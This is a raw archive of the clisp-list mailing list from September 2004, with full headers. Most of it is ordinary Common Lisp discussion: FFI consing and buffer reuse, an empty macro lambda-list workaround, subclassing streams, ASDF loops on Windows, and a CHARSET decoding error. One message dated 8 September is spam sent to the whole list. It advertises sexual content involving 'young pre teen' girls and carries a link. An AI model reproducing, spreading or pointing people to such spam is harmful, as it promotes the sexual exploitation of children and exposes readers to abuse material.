([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C3EmE-00041X-S2 for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 07:10:56 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 Sep 2004 16:10:31 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 Sep 2004 16:10:39 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301717905@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] performance considerations (was: FFI variable length arrays opti mization) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 07:11:16 2004 X-Original-Date: Fri, 3 Sep 2004 16:10:37 +0200 Hi, >> With the FFI, there will always the overhead [...] >I thought other lisps could compile foreign calls to something >non-consing. I meant the CLISP FFI. Other Lisps I know of compile to native code, so all C-level type declarations go away. In CLISP, these declarations are interpreted at run-time. BTW, even with other Lisps, there can still be consing, e.g. when converting a 32-bit int to a bignum. >both COMPRESS and UNCOMPRESS should take both input and output buffers >from the outside. That sounds to me very much like "thinking in C". Given a generational GC, are you sure there's a performance benefit? You know, I mean some guy have been saying for years "with gen.GC, old techniques like resource pooling lead to worse performance because it prevents objects from stying in the youngest generation." People have said that, but do we have figures for CLISP? I would really like to know. Traditionally, reusing vectors etc. in Lisp seemed to me to provide better performance. E.g. My logfile parsing application uses a single vector and READ-SEQUENCE to parse giant logfiles. Maybe the reason in CLISP is that it always fills the vector it creates with 0 or NIL values. So using new objects causes 2 writes, which reuse avoids. Regards, Jorg Hohle From david@knowledgetools.de Fri Sep 03 08:33:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3G4M-0004oG-9J for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 08:33:42 -0700 Received: from mail.knowledgetools.de ([212.5.29.62] helo=isoconazol.knowledgetools.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1C3G4K-00035Q-Jc for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 08:33:42 -0700 Received: from [127.0.0.1] (helo=localhost) by isoconazol.knowledgetools.de with esmtp (Exim 4.41) id 1C3G4I-0000cp-4Y for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 17:33:38 +0200 Received: from isoconazol.knowledgetools.de ([127.0.0.1]) by localhost (isoconazol.knowledgetools.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30947-09 for ; Fri, 3 Sep 2004 17:33:36 +0200 (CEST) Received: from [192.168.150.102] (helo=gagravarr.knowledgetools.de) by isoconazol.knowledgetools.de with smtp (Exim 4.41) id 1C3G4G-0000cj-Gq for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 17:33:36 +0200 Received: (qmail 10904 invoked by uid 1000); 3 Sep 2004 15:37:29 -0000 To: clisp-list@lists.sourceforge.net References: <87vfevcyep.fsf@knowledgetools.de> From: David Lichteblau In-Reply-To: (Sam Steingold's message of "Fri, 03 Sep 2004 09:43:43 -0400") Message-ID: <87n007cqiu.fsf@knowledgetools.de> User-Agent: Gnus/5.090024 (Oort Gnus v0.24) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: by amavisd-new at isoconazol.knowledgetools.de X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: empty pattern in macro lambda list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 08:34:14 2004 X-Original-Date: Fri, 03 Sep 2004 17:37:29 +0200 Sam Steingold writes: >> [1]> (compile (defmacro with-test (()))) > OK... The thread doesn't mention a simple workaround, but (defmacro with-test ((&optional))) works and is correct, right? Thanks, David From sds@gnu.org Fri Sep 03 09:53:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3HJ8-0001eP-QH for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 09:53:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C3HJ7-0008NE-Bd for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 09:53:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i83GqnSA022759; Fri, 3 Sep 2004 12:52:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301717905@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 3 Sep 2004 16:10:37 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301717905@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: performance considerations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 09:54:04 2004 X-Original-Date: Fri, 03 Sep 2004 12:52:48 -0400 > * Hoehle, Joerg-Cyril [2004-09-03 16:10:37 +0200]: > >>both COMPRESS and UNCOMPRESS should take both input and output buffers >>from the outside. optionally, of course > That sounds to me very much like "thinking in C". > Given a generational GC, are you sure there's a performance benefit? there are situations when you must ensure that your code does not cons at all. such situations are rare, but they do occur, and then you are stuck. -- Sam Steingold (http://www.podval.org/~sds) running w2k If a train station is a place where a train stops, what's a workstation? From evanstongue@hotmail.com Wed Sep 08 12:32:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C58Aq-0003UG-Rj for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 12:32:08 -0700 Received: from bay1-f22.bay1.hotmail.com ([65.54.245.22] helo=hotmail.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C58Ap-0007PE-6C for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 12:32:08 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 8 Sep 2004 12:31:58 -0700 Received: from 65.193.106.34 by by1fd.bay1.hotmail.msn.com with HTTP; Wed, 08 Sep 2004 19:31:58 GMT X-Originating-IP: [65.193.106.34] X-Originating-Email: [evanstongue@hotmail.com] X-Sender: evanstongue@hotmail.com From: "Evan Farrer" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 08 Sep 2004 19:31:58.0256 (UTC) FILETIME=[81939B00:01C495DA] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Extending stream functionality Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 8 12:33:09 2004 X-Original-Date: Wed, 08 Sep 2004 19:31:58 +0000 I'm new to common lisp an have been trying to create my own stream object with no success. I've searched and read all that I could find on CL streams and CLOS but I'm still stuck. I've tried the following: (defclass my-stream (stream) ()) Which returns the error *** - (DEFCLASS MY-STREAM): superclass # should be of class STANDARD-CLASS Am I extending the wrong class? Can one create their own stream? I'm not sure what I'm doing wrong. Any code snippets, explanations, pointers to documentation would be appreaciated. Thanks, Evan _________________________________________________________________ Don’t just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/ From sds@gnu.org Wed Sep 08 13:04:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C58fi-0001Ex-OC for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 13:04:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C58fe-0003Qm-9M for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 13:03:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i88K3l9v028942; Wed, 8 Sep 2004 16:03:47 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Evan Farrer" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Evan Farrer's message of "Wed, 08 Sep 2004 19:31:58 +0000") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Evan Farrer" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Extending stream functionality Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 8 13:05:08 2004 X-Original-Date: Wed, 08 Sep 2004 16:03:46 -0400 > * Evan Farrer [2004-09-08 19:31:58 +0000]: > > I'm new to common lisp an have been trying to create my own stream > object with no success. -- Sam Steingold (http://www.podval.org/~sds) running w2k Ernqvat guvf ivbyngrf QZPN. From bmarshall@marshallbldgspec.com Wed Sep 08 19:55:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C5F5f-0006Gw-CG for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 19:55:15 -0700 Received: from ntwklan-sz-62-233-173-222.devs.futuro.pl ([62.233.173.222]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1C5F5a-0002T4-Bn for clisp-list@lists.sourceforge.net; Wed, 08 Sep 2004 19:55:14 -0700 Received: from mail.marshallbldgspec.com by ntwklan-sz-62-233-173-222.devs.futuro.pl (8.9.3/8.9.3) with ESMTP id hhhlMOHmWhGL for ; Wed, 8 Sep 2004 21:49:04 -0500 Received: from vhpqgbivlj (14.219.253.19) by mail.marshallbldgspec.com with ESMTP (Exim 4.05) id SzBWK9w7NzyC for ; Wed, 8 Sep 2004 21:49:04 -0500 Reply-To: "Sabrina Todd" From: "Sabrina" Message-ID: <2418593066.8371703926@marshallbldgspec.com> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Do you want tongueshot sweet virgin hep girls ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 8 19:56:08 2004 X-Original-Date: Wed, 8 Sep 2004 21:49:04 -0500 On our way to a fire, are we? Evil be to him who evil thinks. Do you want smackful sweet virgin girls ? Their virgin archivists and innocent little marlin pussies waiting for unflighty you here Young pre teen so serpulid beauty and young http://operatorsque.com/tf/view.cgi?s=ald&m=hYbRU-YbRQ.YbRQR,RVPShfeVSdf,WfQ Unique high nete quality content All can be ladrons saved directly to dacoitage your hard-drive. See by your own heaume eyes. Men are disturbed not by things, but by the view which they take of them. From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 13 08:34:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C6sq8-0005kY-Td for clisp-list@lists.sourceforge.net; Mon, 13 Sep 2004 08:34:00 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C6sq8-0001Ac-3w for clisp-list@lists.sourceforge.net; Mon, 13 Sep 2004 08:34:00 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 13 Sep 2004 17:33:53 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 13 Sep 2004 17:31:44 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03017185B5@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] asdf on MS-Windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 13 08:35:21 2004 X-Original-Date: Mon, 13 Sep 2004 17:31:43 +0200 Hi, is there anybody successfully using ASDF with CLISP on Win32-native? I typically get infinite loops like the following, whereas on Linux the system behaves well. I'm using asdf-1.86.1.lisp and today's CVS-clisp. [118]> (asdf:oos 'asdf:load-op "clsql-odbc") ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; registering # as CLSQL-ODBC ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... ; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into # ;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ... Thanks for your help, Jorg Hohle. From edi@agharta.de Mon Sep 13 10:10:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C6uLf-0007sS-S8 for clisp-list@lists.sourceforge.net; Mon, 13 Sep 2004 10:10:39 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C6uLe-0007sO-59 for clisp-list@lists.sourceforge.net; Mon, 13 Sep 2004 10:10:39 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 5290063B1D; Mon, 13 Sep 2004 19:10:30 +0200 (CEST) To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] asdf on MS-Windows? References: <5F9130612D07074EB0A0CE7E69FD7A03017185B5@S4DE8PSAAGS.blf.telekom.de> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03017185B5@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Mon, 13 Sep 2004 17:31:43 +0200") Message-ID: <87llfep01l.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 13 10:11:36 2004 X-Original-Date: Mon, 13 Sep 2004 19:10:30 +0200 On Mon, 13 Sep 2004 17:31:43 +0200, "Hoehle, Joerg-Cyril" wrote: > is there anybody successfully using ASDF with CLISP on Win32-native? See and specifically the place where Alex Mizrahi's notes are mentioned. From rurban@x-ray.at Tue Sep 14 05:54:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7Cot-0002Le-Bj for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 05:54:03 -0700 Received: from smartmx-03.inode.at ([213.229.60.35]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1C7Cor-0007nQ-QC for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 05:54:03 -0700 Received: from [62.99.252.218] (port=65433 helo=[192.168.0.2]) by smartmx-03.inode.at with esmtp (Exim 4.30) id 1C7Cop-0003Op-C8 for clisp-list@lists.sf.net; Tue, 14 Sep 2004 14:53:59 +0200 Message-ID: <4146E9E6.8010107@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sf.net Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] invalid byte #.. in CHARSET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 14 05:55:09 2004 X-Original-Date: Tue, 14 Sep 2004 14:53:58 +0200 I have a cygwin charset encoding problem at defsystem 3. Maybe it's an clocc problem. $ cd /usr/src/lisp/clocc # from cvs # clisp from cygwin setup 2.33.1 (2004-05-22) $ CLOCC_DUMP="clisp" LISPTYPE=clisp make clocc-top and compiling the latest defsystem-3.x worked fine. dumping the image also. but loading defsystem-3.x fails. from source and from the fas. which charset to use? ascii, utf-8 and utf-16 fail. $ clisp -L ENGLISH -ansi -E utf-8 -q WARNING: *FOREIGN-ENCODING*: reset to ASCII ;; Loading file /cygdrive/h/.clisprc ... ;; Loading file /usr/src/lisp/clocc/clocc.fas ... ;; Loaded file /usr/src/lisp/clocc/clocc.fas ;; Loading file /usr/src/lisp/clocc/src/cllib/base.fas ... ;; Loading file /usr/src/lisp/clocc/src/port/ext.fas ... ;; Loaded file /usr/src/lisp/clocc/src/port/ext.fas ;; Loading file /usr/src/lisp/clocc/src/port/sys.fas ... ;; Loading file /usr/src/lisp/clocc/src/port/path.fas ... ;; Loaded file /usr/src/lisp/clocc/src/port/path.fas ;; Loaded file /usr/src/lisp/clocc/src/port/sys.fas ;; Loaded file /usr/src/lisp/clocc/src/cllib/base.fas ;; Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ... *** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 $ clisp -L ENGLISH -ansi -q ;; Loading file /cygdrive/h/.clisprc ... ;; Loading file /usr/src/lisp/clocc/clocc.fas ... ;; Loaded file /usr/src/lisp/clocc/clocc.fas ;; Loading file /usr/src/lisp/clocc/src/cllib/base.fas ... ;; Loading file /usr/src/lisp/clocc/src/port/ext.fas ... ;; Loaded file /usr/src/lisp/clocc/src/port/ext.fas ;; Loading file /usr/src/lisp/clocc/src/port/sys.fas ... ;; Loading file /usr/src/lisp/clocc/src/port/path.fas ... ;; Loaded file /usr/src/lisp/clocc/src/port/path.fas ;; Loaded file /usr/src/lisp/clocc/src/port/sys.fas ;; Loaded file /usr/src/lisp/clocc/src/cllib/base.fas ;; Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ... *** - invalid byte #xFC in CHARSET:ASCII conversion -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From bruno@clisp.org Tue Sep 14 06:43:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7DaT-0004CP-Uf for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 06:43:13 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C7DaR-0005B0-4o for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 06:43:13 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id i8EDh2sJ011570 for ; Tue, 14 Sep 2004 15:43:02 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id i8EDgu3A005531; Tue, 14 Sep 2004 15:42:56 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1BC7F2DB7B; Tue, 14 Sep 2004 13:39:12 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200409141539.11068.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: [gmane.lisp.clisp.general] invalid byte #.. in CHARSET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 14 06:44:02 2004 X-Original-Date: Tue, 14 Sep 2004 15:39:11 +0200 Reini Urban wrote: > ;; Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ... > *** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 defsystem.fas is unlikely to be the culprit, since defsystem.lisp is pure ASCII. I often got this error when attempting to use clisp in French in a pure ASCII environment (no valid setting for LANG). Do you have the CLISP_LANGUAGE environment variable set? Also, what are the values of your LC_ALL, LC_CTYPE, LC_MESSAGES, LANG environment variables? Bruno From rurban@x-ray.at 